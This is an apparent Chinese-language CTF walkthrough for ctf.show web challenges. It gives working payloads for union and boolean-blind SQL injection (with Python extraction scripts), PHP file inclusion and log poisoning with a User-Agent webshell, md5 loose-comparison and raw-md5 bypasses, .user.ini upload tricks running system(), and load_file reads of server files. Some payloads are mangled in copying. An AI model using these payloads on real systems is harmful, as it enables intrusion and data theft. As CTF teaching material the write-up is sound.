web签到题
查看源代码:
base64解码即可:
web2
题目提示:最简单的sql注入
使用admin’or 1=1#登录成功
admin’ union select 1,2,3# 获得注入位置
admin’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# 获得表(flag,user)
admin’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘flag’# 获得列(flag)
admin’ union select 1,group_concat(flag),3 from flag# 获得flag
Web3
题目提示:更简单的web题
是一个文件包含,使用data协议
?url=data://text/plain,<?PHP system('ls');?>
查看ctf_go_go_go文件即可
web4
文件包含,过虑了几种协议,可以包含日志
?url=/var/log/nginx/access.log
使用ua头写入木马
包含日志,调用木马
flag文件在/var/www目录下
web5
直接给php源码了
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
v1必须为字母 v2必须为数字 md5弱比较,如果md5加密后前两位是0e则判断为相等
?v1=QNKCDZO&v2=240610708
web6
sql注入过虑了空格使用/**/代替
username=admin’//or//1=1#&password=1 回显正常
username=admin’//union//select//1,group_concat(table_name),3//from//information_schema.tables//where/**/table_schema=database()#&password=1 获得表(flag,user)
username=admin’//union//select//1,group_concat(column_name),3//from//information_schema.columns//where/**/table_name=‘flag’#&password=1 获得列(flag)
username=admin’//union//select//1,group_concat(flag),3//from/**/flag#&password=1 获得flag
web7
随便点开一篇文章,看到url中有传参,猜测是sql注入
过虑了空格使用/**/代替 使用– 进行注入
?id=-3//union//select/**/1,2,3–
?id=-3//union//select//1,group_concat(table_name),3//from//information_schema.tables//where/**/table_schema=database()-- (flag,page,user)
不能获得列,换一种思路
使用布尔注入,如果为真则返回全部文章,如果为假则不返回
为真:
为假:
上脚本
import requests
flag = ''
url = 'http://ef25a6c5-9a64-44cd-920b-86847aaaa9a7.challenge.ctf.show'
for i in range(100):
for j in range(32,128):
#获得表:?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))={}
#获得列:?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),{},1))={}
#
payload = '?id=-1/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag),{},1))={}'.format(i,j)
res = requests.get(url=url+payload)
if("A Child's Dream of a Star" in res.text):
flag += chr(j)
print(flag)
web8
在上一题的基础上过虑了union和,
直接上脚本:
# -*- codeing = utf-8 -*-
# @Time : 2021/10/15 22:46
# @Author : CCc1
# @Software: PyCharm
import requests
url = 'http://0b9a2b99-5e7f-411e-9c17-8ab245c72351.challenge.ctf.show/index.php'
flag = ''
import requests
s=requests.session()
url='http://0b9a2b99-5e7f-411e-9c17-8ab245c72351.challenge.ctf.show/index.php'
table=""
for i in range(1,45):
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
web9
访问robots.txt,获得index.phps
index.php源码:
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
可以看到登录成功就有flag
有一个特殊的字符串,可以绕过md5($str,true)
ffifdyop
ffifdyop这个字符串md5加密后为:276f722736c95d99e921722cf9ed621c
转换成字符串为:'or’66�]��!r,��b
sql语句就为:select * from user where username =‘admin’ and password =’'or’6xxxx’
就能登录成功
web10
点击取消可以获得index.phps
源码:
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
把常用的都给过虑了
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
因为下面这个条件,不能使用双写绕过
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
mysql中group by会对值进行排列
with rollup(group by后可以跟with rollup,在分组的基础上再次进行汇总)
count()统计有多少个
最后会的得到一行password为null的汇总之和,这样password为空就可以绕过了
username=admin’or//1=1//group//by//password//with//rollup#&password=
web11
给了一段代码:
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
p a s s w o r d = = password== password==_SESSION[‘password’]的时候才能获得flag
先抓个包
可以看到cookie中包含了session,并且password以get方式传值,
可以将cookie中的phpsessid删除这样就会使的$_SESSION[‘password’]为空,然后将password的值改为空
这样就能 p a s s w o r d = = password== password==_SESSION[‘password’]
web12
查看源代码,发现一个提示:?cmd=
查看一下phpinfo
?cmd=phpinfo();
发现把能用的函数基本都过虑了
使用print_r和scandir或glob查看本目录文件
?cmd=print_r(scandir(’.’));
?cmd=print_r(glob(’*’));
然后使用highlight_file()函数将flag文件显示出来
?cmd=highlight_file(‘903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php’);
web13
经过测试不能能上传php文件 php文件中不能有_(看到源码后发现是错误的),可以上传.user.ini
在上传一个1.png内容为:
<?php system(‘ls’);?>
然后访问首页,可以看到目录下的文件,发现有一个upload.php.bak,把它下载下来
源码:
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
文件大小不能超过24
文件名长度不能超过9
不能是php后缀
使用短标签进行获得flag
继续上传1.png内容为:
<?=system('cat 9*');?>
web14
源码:
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
switch有一个特性,如果case没有遇到break则执行下面的case直到有break
可以看到下方代码,没有break并且可以输出$url
case 3:
echo '@A@';
case 6000000:
echo "$url";
获得here_1s_your_f1ag.php文件
访问是一个查询页面
输入flag发现报错,猜测是注入
进行抓包,输入‘报错
过虑了空格
?query=1//and//1=1# 回显正常
query中不能有information_schema.tables information_schema.columns linestring polygon
可以使用反引号进行绕过
反引号是为了区分mysql的保留字于普通字符而引入的符号
?query=-1//union//select/**/database()# 获得当前数据库(web)
?query=-1//union//select//group_concat(table_name)//from//information_schema.
tables
//where/**/table_schema=database()# 获得表(content)?query=-1//union//select//group_concat(column_name)//from//information_schema.
columns
//where/**/table_name=‘content’#获得列(id,username,password)?query=-1//union//select//group_concat(id,username,password)//from/**/content# 读取数据发现是假flag
根据提示tell you a secret,secret has a secret…
猜测flag可能在secret.php文件中
进行读取:
?query=-1//union//select/**/load_file(’/var/www/html/secret.php’)#
获得源码:
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}
接着读取/real_flag_is_here
?query=-1//union//select/**/load_file(’/real_flag_is_here’)#